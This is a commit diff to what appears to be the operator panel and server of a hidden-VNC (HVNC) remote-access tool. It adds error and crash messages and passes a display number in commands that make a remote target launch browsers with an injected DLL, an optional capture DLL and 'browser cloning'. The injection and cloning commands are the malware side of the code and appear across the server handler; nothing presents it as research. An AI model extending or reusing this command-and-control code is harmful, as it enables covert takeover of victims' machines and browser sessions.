add more info for when chrome gets killed
This commit is contained in:
@@ -400,7 +400,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
const step = msg.step || "";
|
||||
const detail = msg.detail || "";
|
||||
|
||||
if (!msg.success) {
|
||||
if (step === "crashed" || step === "exited") {
|
||||
launchStatusIcon.className = "fa-solid fa-skull-crossbones text-rose-400";
|
||||
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||
launchStatusLabel.className = "text-rose-300";
|
||||
launchHideTimer = setTimeout(() => {
|
||||
launchStatusEl.classList.add("hidden");
|
||||
launchStatusEl.classList.remove("flex");
|
||||
}, 20000);
|
||||
} else if (!msg.success) {
|
||||
launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400";
|
||||
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
||||
launchStatusLabel.className = "text-rose-300";
|
||||
@@ -416,6 +424,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
launchStatusEl.classList.add("hidden");
|
||||
launchStatusEl.classList.remove("flex");
|
||||
}, 8000);
|
||||
} else if (step === "kill") {
|
||||
launchStatusIcon.className = "fa-solid fa-hand text-amber-400";
|
||||
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||
launchStatusLabel.className = "text-amber-300";
|
||||
} else {
|
||||
launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400";
|
||||
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
||||
@@ -423,6 +435,35 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
}
|
||||
}
|
||||
|
||||
function handleHVNCError(msg) {
|
||||
const errorText = msg.error || msg.message || "Unknown HVNC error";
|
||||
console.error("hvnc: server error:", errorText);
|
||||
if (!launchStatusEl) return;
|
||||
if (launchHideTimer) {
|
||||
clearTimeout(launchHideTimer);
|
||||
launchHideTimer = null;
|
||||
}
|
||||
launchStatusEl.classList.remove("hidden");
|
||||
launchStatusEl.classList.add("flex");
|
||||
if (msg.critical) {
|
||||
launchStatusIcon.className = "fa-solid fa-triangle-exclamation text-red-500 text-lg animate-pulse";
|
||||
launchStatusLabel.textContent = errorText;
|
||||
launchStatusLabel.className = "text-red-400 font-bold";
|
||||
launchStatusEl.className = "flex items-center gap-2 bg-red-950/80 border-2 border-red-500 rounded-lg px-4 py-3 text-sm shadow-lg shadow-red-500/20";
|
||||
launchHideTimer = setTimeout(() => {
|
||||
launchStatusEl.className = "hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm";
|
||||
}, 30000);
|
||||
} else {
|
||||
launchStatusIcon.className = "fa-solid fa-circle-exclamation text-rose-400";
|
||||
launchStatusLabel.textContent = errorText;
|
||||
launchStatusLabel.className = "text-rose-300";
|
||||
launchHideTimer = setTimeout(() => {
|
||||
launchStatusEl.classList.add("hidden");
|
||||
launchStatusEl.classList.remove("flex");
|
||||
}, 15000);
|
||||
}
|
||||
}
|
||||
|
||||
function handleBrowserCheckResult(msg) {
|
||||
if (!msg.browsers || !contextMenu) return;
|
||||
contextMenu.querySelectorAll("[data-browser]").forEach((btn) => {
|
||||
@@ -929,7 +970,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
handleHVNCError(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "clipboard_content") {
|
||||
|
||||
@@ -1098,6 +1098,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
path: String(payload.path || ""),
|
||||
kill_exe: String(payload.kill_exe || ""),
|
||||
opera_patch: Boolean(payload.opera_patch),
|
||||
display: state.display ?? 0,
|
||||
});
|
||||
break;
|
||||
case "hvnc_kill_all":
|
||||
@@ -1107,7 +1108,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDll = getCaptureDllBytes();
|
||||
@@ -1116,6 +1117,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
search_path: String(payload.search_path || ""),
|
||||
replace_path: String(payload.replace_path || ""),
|
||||
dll: dllData,
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDll) cmdPayload.capture_dll = captureDll;
|
||||
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
|
||||
@@ -1125,13 +1127,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDllChrome = getCaptureDllBytes();
|
||||
const chromeCmdPayload: Record<string, any> = {
|
||||
path: String(payload.path || ""),
|
||||
dll: dllData,
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
|
||||
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
|
||||
@@ -1141,7 +1144,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
const dllData = getInjectionDllBytes();
|
||||
if (!dllData) {
|
||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||
break;
|
||||
}
|
||||
const captureDllBrowser = getCaptureDllBytes();
|
||||
@@ -1152,6 +1155,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
cloneLite: payload.cloneLite === true,
|
||||
killIfRunning: payload.killIfRunning === true,
|
||||
dll: dllData,
|
||||
display: state.display ?? 0,
|
||||
};
|
||||
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
|
||||
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
|
||||
|
||||
Reference in New Issue
Block a user